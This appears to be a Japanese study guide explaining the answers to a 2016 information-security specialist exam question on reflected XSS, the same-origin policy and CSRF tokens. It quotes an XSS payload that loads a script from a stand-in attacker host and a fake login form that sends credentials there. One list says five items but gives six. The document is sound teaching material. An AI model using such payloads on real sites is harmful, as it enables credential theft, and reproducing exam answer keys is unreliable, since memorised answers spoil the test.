情報処理安全確保支援士 2016年 春期 午後1 問01

解答の論理構成

• 【問題文】の会話で検査員Nさんは
  “被害者が画面2-2'でメンバIDとパスワードを入力すると、それらはaというホスト名のWebサーバに送信されます。”
  と説明しています。
• 同じ会話内で、偽フォームを生成する外部スクリプトとして
  “<script src="https://wana.example.jp/Login.js"></script>”
  と明示されています。
• さらに図6の4行目には
  action="https://wana.example.jp/login"
  が提示されており、送信先ホストが一致していることが分かります。
• 以上から、空欄 a には「wana.example.jp」というFQDNを入れるのが妥当です。

誤りやすいポイント

• “example.jp” 部分を企業ドメインなどに書き換えてしまう
  （数字・固有名詞は正確に引用する必要があります）。
• “https://” を含めてしまい、ホスト名だけを答えるという指示を見落とす。
• 図6では「/login」まで書かれているため、パスを含めて記述してしまう。

FAQ

解答の論理構成

1. 問題文では攻撃者が送付するリンクについて
   ― “<script src="https://wana.example.jp/Login.js"></script>を組み込んだ**https://kensho.m-sha.co.jp/Gamen2_2**へのリンクを含む電子メールを作成”
   と明示されています。
2. 被害者がリンクをクリックした結果
   ― “被害者がそのリンクをクリックした場合、…改変された**画面2-2'**が表示されます。”
   とあるように、表示コンテンツは書き換えられますがリダイレクトは発生していません。
3. XSSはページ内部のDOMを改変する攻撃であり、URL自体を変更しない限りブラウザのアドレスバーはリンク先のホスト部を保持します。
4. したがって、画面2-2'表示時のアドレスバーにはリンク先のホスト “kensho.m-sha.co.jp” が残ります。

誤りやすいポイント

• スクリプトを取得している “wana.example.jp” を答えてしまう。外部スクリプトの読み込み先とアドレスバーの表示は無関係です。
• フレームやリダイレクトを用いたフィッシングと混同し、「別サイトに遷移しているはずだ」と思い込む。XSSではページ遷移せずに内容だけ書き換えられる場合があります。
• FQDNではなくサブディレクトリを含めた全文字列や、逆に “m-sha.co.jp” と途中で切ってしまう。設問は「ホスト部を、FQDNで」と指定しています。

FAQ

解答の論理構成

1. 問題文には次の記述があります。

   Webブラウザには、bという仕組みが実装されているので、仮に、懸賞システムのコンテンツと、攻撃者が用意したWebサーバ上に置いてある攻撃者のコンテンツの両方を、フレームを使用して、Webブラウザ上で同一画面に表示したとしても、攻撃者のコンテンツ内のスクリプトで、懸賞システムのコンテンツを参照することはできません。

2. ここで述べられている「同一画面に表示しても、スクリプトから他方の内容を参照できない」というブラウザの制限は、ドメイン・プロトコル・ポートが異なる場合に働く同一生成元ポリシーの説明と一致します。
3. 解答群を確認すると、同一生成元ポリシーに該当する選択肢は

   エ：SameOriginPolicy
   だけです。

4. したがって、bに入る適切な字句は 「SameOriginPolicy」、記号は エ となります。

誤りやすいポイント

• 「HTTPStrictTransportSecurity」を選ぶ誤り
  ブラウザがHTTPSへの強制リダイレクトを行う仕組みであり、フレーム間アクセス制御とは無関係です。
• 「AsynchronousJavaScript+XML」や「JavaScriptObjectNotation」を選ぶ誤り
  技術名称は似ていても、どちらもデータ通信手法・データ形式であり、アクセス制御機構ではありません。
• 「クロスドメインでデータを取れない＝CORS」と短絡し、選択肢にない用語を思い浮かべてしまうこと。CORSは例外的にアクセスを許可する仕組みであり、基本制限を課すのはSameOriginPolicyです。

FAQ

解答の論理構成

• 図2の報告では「画面2-1から画面2-2への遷移において、クロスサイトスクリプティング（以下、XSSという）脆弱性を発見した」と指摘され、図4のソースコード6行目でreq.getParameter("keyword") を取得し、10行目で無加工表示しているため「keyword」パラメタが攻撃面であることが分かります。
• また質疑応答でNさんは「攻撃者は、URLパラメタであるkeywordに攻撃用の文字列を組み込んだhttps://kensho.m-sha.co.jp/Gamen2_2 へのリンクを…」と説明しています。ここから、脆弱な画面は「https://kensho.m-sha.co.jp/Gamen2_2」であり、攻撃対象パラメタは「keyword」だと確定します。
• 図7の行4は c?d=<script …> という形で、脆弱ページに対しXSSペイロードを埋め込むためのURLを組み立てる部分です。従って
  • c には「https://kensho.m-sha.co.jp/Gamen2_2」
  • d には攻撃対象であるパラメタ名「keyword」
  を入れることで、質疑応答と完全に一致する攻撃URLが完成します。

誤りやすいポイント

• 画面3‐7を表示するURLと混同し、Gamen3_7を入れてしまう。図7の行3で既に使用済みな点に注意すべきです。
• パラメタ名を「kw」と略記してしまう。図4のソースコードでローカル変数がkwでも、受信パラメタ名はkeywordです。
• フルパスではなく相対パス /Gamen2_2と書くミス。図7は攻撃者サーバから直接参照されるのでスキーム・ホストを含む完全URLが必要です。

FAQ

解答の論理構成

1. 攻撃者が窃取したいのは「①画面3-7の表示内容」です。
   【問題文引用】
   Nさん：攻撃者が…そのHTMLソースコードを被害者のWebブラウザに読み込ませることによって、①画面3-7の表示内容が窃取される可能性があります。
2. 図7の<frame>タグで読み込まれるURLはhttps://kensho.m-sha.co.jp/Gamen3_7 です。
   【問題文引用】
   注記　https://kensho.m-sha.co.jp/Gamen3_7は、図1の画面3-7を表示する際のURLである。
3. 画面3-7は会員の「住所」「氏名」などを修正する機能で、ログイン後のマイページ配下(画面3-3～3-9)に属します。
4. これらマイページ配下のURLについては、ログインしていないと強制的にトップページへリダイレクトされます。
   【問題文引用】
   注記2：ログインしていない状態で画面3-3～画面3-9のURLを指定した場合は、画面1-1へリダイレクトされる。
5. よって「画面3-7の内容がブラウザに表示されている＝被害者が懸賞メンバとしてセッションを確立している」ことが前提です。
6. 以上から、窃取が成功する条件は「懸賞メンバとしてログインしている状態」となります。

誤りやすいポイント

• 「フレームで読み込むだけだからログイン不要」と誤解しやすいが、実際にはサーバ側で認証チェックが行われるため表示されない。
• 「トップページの情報なら窃取できるのでは」と考えがちだが、攻撃対象はログイン後画面なのでセッション有無が決定的。
• 同一生成画面であっても、URL直打ちで見られるページとセッション必須ページを区別し忘れると判断を誤る。

FAQ

解答の論理構成

1. 図8は「CSRF対策に関する説明」を示しています。
   (2)の実装ルールに
   ――「前画面で、HTMLフォーム内にeをfフィールドの値として埋め込む。」
   ――「画面遷移時に受信したデータが、埋め込んだeと一致するかを確認する。」
   とあります。
2. CSRF対策では、利用者の意図しないリクエストかどうかを判断するために“予測不能な値”をフォームに埋め込み、次画面で一致確認を行う方法（Synchronizer Token Pattern）が基本です。
3. ここで求められる“予測不能な値”は、セッション毎・リクエスト毎に生成して攻撃者が推測できないようにする必要があります。これを説明する最も一般的な語は「ランダムな値」です。したがってe＝「ランダムな値」となります。
4. トークンをユーザに見せずに送信させるため、フォームでは<input type="hidden">を用います。設問はその属性名を答えさせているので、f＝「hidden」が正解です。

誤りやすいポイント

• 「セッションID」をそのままeに使うと考えると失点します。図8は“前画面で埋め込み、次画面で一致確認”と書かれており、セッションIDは既にCookieで送信されているため趣旨が異なります。
• fを「テキスト」や「submit」と記入する誤答が散見されます。トークンをユーザが目視できないようにする目的を忘れると選択を誤ります。
• 一致確認の手順だけを覚えていて、トークン自体の「予測不能性」を軽視すると、eに「固定値」「ハッシュ値」など不適切な語を入れてしまいます。

FAQ

解答の論理構成

1. CSRF対策が必要となるのは「利用者の意図しないままサーバの状態が変更される操作」です。図8(2)では、
   “POSTメソッドによるアクセスだけを用いる”
   と明示されており、サーバ側でデータが更新・登録されるフォーム送信が対象であると分かります。
2. 表1でパラメタが送信される画面遷移を確認すると、状態変更が発生するのは次の五つです。
   ・(お) “メンバID, パスワード” … ログイン処理
   ・(き) “選択したキャンペーン名” … 応募処理の開始
   ・(く) “応募必要事項” … 応募内容の送信
   ・(け) “応募必要事項” … 応募の確定
   ・(し) “住所、 氏名、 電話番号、 メールアドレス”
   ・(す) “住所、 氏名、 電話番号、 メールアドレス” … 登録情報の更新
   ここで(お),(き),(け)は既に表2の固定値として挙がっています。
3. 残る候補は(く),(し),(す)です。一方、検索や画面表示のみでサーバ状態が変わらない
   (い),(さ),(せ) はCSRF対策不要の典型例です。
4. 解答群を照合すると、
   ・“g列”に (く),(し),(す) をまとめ、
   ・“h列”に (い),(さ),(せ) を配置しているのは【ウ】だけです。
5. よって、g＝(く)(し)(す)、h＝(い)(さ)(せ) を採る「ウ」が正答になります。

誤りやすいポイント

• 「検索」や「一覧表示」もパラメタを送受信するためCSRF対策が要ると早合点する。サーバの“状態変更”かどうかを基準に判断しましょう。
• (き) を“表示用だから不要”と見落とすケース。応募プロセスの開始なので攻撃者にとって悪用価値が高く、対策対象です。
• (し) と (す) を片方だけ保護すれば十分と誤認する。住所等の個人情報はどちらの送信でも改ざんされ得るため両方必要です。

FAQ

解答の論理構成

• 【問題文】では“②画面2-1においてWebブラウザ側のスクリプトで入力値を検査していた”とあります。これは「画面2-1」で クライアント側 のJavaScriptがkeywordを検証する方式です。
• しかしNさんは、“攻撃者は、URLパラメタであるkeywordに攻撃用の文字列として<script src="https://wana.example.jp/Login.js"></script>を組み込んだhttps://kensho.m-sha.co.jp/Gamen2_2へのリンクを含む電子メールを作成” と説明しています。
• つまり攻撃者は 「画面2-1」を経由せずに 被害者のブラウザを直接 “https://kensho.m-sha.co.jp/Gamen2_2” に遷移させ、keywordに悪意ある値を渡します。
• ブラウザ側検査は「画面2-1」にしか存在しないので、このバイパスを阻止できません。したがって下線②の検査はXSS攻撃を防御できず、模範解答のとおりになります。

誤りやすいポイント

• サーバ側で再検証していると勘違いし、「十分な対策」と誤認する。
• 「画面2-1の検査＝全遷移で有効」と思い込み、直接URL参照を見落とす。
• 「POST送信なら安全」と短絡し、GETパラメータ経由のXSSを軽視する。

FAQ

解答の論理構成

• 図9のガイドラインは「利用者が入力する値は、期待する入力値として正当かどうか検査すること」と規定していましたが、検査場所の明示がありませんでした。
• T君は“②「画面2-1においてWebブラウザ側のスクリプトで入力値を検査していた」ので、URLパラメタであるkeywordの値を信頼できるデータと判断”し、そのまま10行目で出力に使用したためXSSが発生しました。
• この経緯を踏まえ、Nさんは図10で「入力値が正当かどうかを i で稼働するプログラムで確認する必要がある」と指摘しています。
• クライアント（Webブラウザ）側の検査はユーザ任意のJavaScriptで迂回できるため、信頼できません。したがって検査は改ざんされにくいサーバで実施する必要があります。
• 以上より i に入る語は「サーバサイド」です。

誤りやすいポイント

• 「ブラウザ側検査で十分」と思い込み「クライアントサイド」と答えてしまう。
• JavaScriptという実装言語名を書いてしまう。求められているのは検査を行う“場所”です。
• 「バックエンド」など曖昧な語を使い、原文のニュアンスとずれる。

FAQ

解答の論理構成

• 図10の引用
  「例えば、j を出力する箇所では、XSS脆弱性を防ぐために “javascript:” などの文字列を排除する必要がある。」
  ⇒ “javascript:” は <a href="javascript:..."> や <img src="javascript:..."> といったリンク先やリソース先を示す属性値で利用され、ここに悪意コードを混入させるとXSSが成立します。
• hrefやsrcが表す値は URL であり、HTML仕様上「javascript:」「data:」などのスキームも許容されます。したがって、XSS対策としてスキーム単位のホワイトリスト検査が必要であるという文脈になります。
• よって j には「URL」を入れると文章が自然に成立し、XSSの注意点も正しく説明できます。

誤りやすいポイント

• href属性 や リンク先 と答えると、「<>＆”” を含まない文字列」の例示と合わず不自然になります。
• JavaScriptと答えると、「“javascript:” などの文字列を排除する」という後半と意味が重複し、排除対象と出力対象が逆転します。
• XSS脆弱性では「エスケープさえすれば安全」と誤認しがちですが、URLコンテキストではスキーム検査を行わないとエスケープだけでは防げません。

FAQ